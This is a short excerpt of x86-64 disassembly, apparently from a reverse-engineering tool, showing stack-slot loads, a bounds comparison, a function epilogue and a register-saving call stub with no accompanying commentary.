mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rax + 0x30]
mov rsi, qword [rsi]
cmp rcx, rsi
mov r8, rcx
cmova rcx, rsi
mov r9, rsi
sub rsi, rcx
sub r8, rcx
add r9, rbx
cmp rdi, rsi
ja 0x14000628f
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.14006aa60
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.140006140